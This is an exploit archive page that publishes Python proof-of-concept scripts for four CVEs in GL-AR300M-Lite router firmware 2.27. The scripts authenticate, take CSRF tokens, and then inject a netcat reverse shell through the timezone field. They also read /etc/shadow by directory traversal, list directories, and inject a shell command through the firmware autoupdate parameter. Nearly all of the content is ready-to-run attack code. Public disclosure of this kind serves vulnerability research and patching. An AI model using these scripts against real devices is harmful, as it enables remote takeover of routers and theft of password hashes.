what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GL-AR300M-Lite 2.2.7 Command Injection / Directory Traversal

GL-AR300M-Lite 2.2.7 Command Injection / Directory Traversal
Posted Jan 16, 2019
Authored by Pasquale Turi

GL-AR300M-Lite version 2.27 suffers from command injection, file download, and directory traversal vulnerabilities.

tags | exploit, vulnerability, file inclusion, info disclosure
advisories | CVE-2019-6272, CVE-2019-6273, CVE-2019-6274, CVE-2019-6275
SHA-256 | 9c220137b98425fa5b66ac1679a50818c67ea12d2273b2dfd6e619e3d5fd36d7

GL-AR300M-Lite 2.2.7 Command Injection / Directory Traversal

Change Mirror Download
# Exploit Title: GL-AR300M-Lite Authenticated Command injection - Arbitrary file download - Directory Traversal
# Date: 15/1/2019
# Exploit Author: Pasquale Turi aka boombyte
# Vendor Homepage: https://www.gl-inet.com/
# Software Link: https://www.gl-inet.com/products/gl-ar300m/
# Version: Firmware version 2.27
# CVE : CVE-2019-6272 - CVE-2019-6273 - CVE-2019-6274 - CVE-2019-6275


#CVE-2019-6272 PoC (Command injection):

import requests

rhost='RHOST'
lhost='LHOST'
lport ='LPORT'
password='PASSWORD'
r=requests.get('http://'+rhost+'/login.html')
cookie=r.cookies
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
header={'X-CSRF-TOKEN':r2.text[13:45]}
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
header={'X-CSRF-TOKEN':r3.text[31:63]}
r4=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r3.cookies,data={'action':'settimezone','timezone':'`nc '+lhost+' '+lport+' -e /bin/ash`'})


#CVE-2019-6273 (Arbitrary file download) PoC:

import requests

rhost='RHOST'
password='PASSWORD'
file_path='/etc/shadow'
r=requests.get('http://'+rhost+'/login.html')
cookie=r.cookies
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
header={'X-CSRF-TOKEN':r2.text[13:45]}
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
header={'X-CSRF-TOKEN':r3.text[31:63]}
r4=requests.get('http://'+rhost+'/cgi-bin/download_file?/mnt/..'+file_path,headers=header,cookies=r3.cookies)
print r4.text


#CVE-2019-6274 (Path Trasversal) PoC:

import requests

rhost='RHOST'
password='PASSWORD'
path='/'
r=requests.get('http://'+rhost+'/login.html')
cookie=r.cookies
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
header={'X-CSRF-TOKEN':r2.text[13:45]}
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
header={'X-CSRF-TOKEN':r3.text[31:63]}
r4=requests.get('http://'+rhost+'/cgi-bin/storage_cgi?id=2&pwd='+path,headers=header,cookies=r3.cookies)
print r4.text


#CVE-2019-6275 (Another command injection):

import requests

rhost='RHOST'
lhost='LHOST'
lport ='LPORT'
password='PASSWORD'
r=requests.get('http://'+rhost+'/login.html')
cookie=r.cookies
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
header={'X-CSRF-TOKEN':r2.text[13:45]}
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
header={'X-CSRF-TOKEN':r3.text[31:63]}
r4=requests.post('http://'+rhost+'/cgi-bin/firmware_cgi?action=setautoupdate&auto_update=off&update_time=04%3a00%7cecho%20qydre8t159%201%7c%7ca%20%23\'%20%7cecho%20%20%60id%60%7c%7ca%20%23%7c%22%20%7cecho%20a%201%7c%7ca%20%23&_=1547223055153 ',headers=header,cookies=r3.cookies,)
print r4.text
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close